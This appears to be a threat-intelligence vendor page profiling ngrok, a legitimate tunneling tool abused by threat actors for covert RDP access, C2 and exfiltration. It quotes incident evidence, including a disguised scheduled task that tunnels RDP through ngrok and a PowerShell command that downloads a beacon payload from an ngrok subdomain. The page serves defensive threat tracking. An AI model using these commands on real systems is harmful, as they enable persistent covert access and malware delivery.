Loading malware…
ngrok is a legitimate tunneling and proxy utility that exposes local ports to the internet, optionally over TLS, and can proxy connections to systems located behind NAT or firewalls. In the provided reporting it is repeatedly abused by threat actors as a dual-use tool rather than described as a bespoke malware family. Observed malicious uses include tunneling RDP traffic over port 3389, establishing encrypted remote access to compromised internal servers and workstations, creating persistence when installed as a service, proxying command-and-control traffic to ngrok service subdomains, and configuring servers for data exfiltration. It was found alongside the Loki backdoor on infected machines, used by the Twelve threat actor to tunnel RDP and installed as a disguised service, used by Akira actors via nssm.exe to launch tunneling tools such as Ngrok or Ligolo-ng, attempted for download by the Iranian-aligned TunnelVision actor on compromised VMware Horizon servers and used there to tunnel RDP, retained by Vultur Android banking malware operators as part of remote-access functionality with AlphaVNC, referenced in Kimsuky/HappyDoor-related intrusions as an additional remote-access tool, deployed in a Microsoft Incident Response case to expose internal servers through encrypted tunnels for inbound RDP, used by UNC3944 as a covert tunneling tool to access devices without VPN or MFA, and used in the UNC2465 supply-chain intrusion for tunneling alongside UltraVNC. The content also maps ngrok to MITRE ATT&CK-related behaviors including Proxy, Protocol Tunneling, Web Service usage, and Exfiltration Over Web Service.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.
5 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The adversary used ngrok to tunnel traffic. They installed that utility immediately after connecting to the system, and set port 3389 (standard RDP port) in the configuration file.
In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.
The threat actor uses the additionally installed malware strains and proxy tools, such as Ngrok, to establish a proxy network environment.
"ngrok is a tool used to expose a local port to the internet. Optionally, tunnels can be secured with TLS."
...various covert tunneling tools, such as NGROK, RSOCX, and Localtonet.
26 distinct techniques documented for this family, organized by ATT&CK tactic.
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
ngrok runs at the command-line level; potential parent processes include: CMDline parameters ... PowerShell executes the ngrok application and binds the TCP port 3389
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
They installed ngrok and a second tunneling tool called Teleport
Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
The affidavit says that members of Scattered Spider used a web tunneling tool called ngrok to avoid network barriers and maintain access to compromised servers, as well as a VPN service called Tzulo.
Upon launch, it connected to the C2 server, allowing the operator to execute commands on the compromised host... Cloudflared tunnels traffic through the Cloudflare network.
PowerShell invokes ngrok to communicate to a C2 server to retrieve malicious payload and write to disk powershell.exe /c (new-object System.Net.WebClient).DownloadFile('http://2f65dfe21ccb.ngrok.io/b3.exe','C:\tmp\beacon.exe')
He did route his connections through a VPN hosted at servers from Tzulo along with the developer-oriented ngrok tunneling service and teleport.sh.
The affidavit says that members of Scattered Spider used a web tunneling tool called ngrok to avoid network barriers and maintain access to compromised servers, as well as a VPN service called Tzulo.
Throughout the activity the usage of multiple legitimate services was observed... transfer.sh pastebin.com webhook.site ufile.io raw.githubusercontent.com
From there they installed a tunneling tool called ngrok to get past the retailer’s network defenses
svchost.exe is the remote access application AnyDesk. Attackers use this to remotely control the compromised machine.
ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.
2 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
21 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Legitimate tunneling utility abused to proxy RDP traffic into compromised systems and support covert remote access.
A legitimate tunneling utility abused by the threat actor to expose internal systems through encrypted tunnels, enable covert inbound RDP access, support persistence, and mask the true source of lateral movement.
Legitimate tunneling service often abused by threat actors to create outbound tunnels for remote access and C2.
Tunneling utility used to establish remote access during Akira-related compromises.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.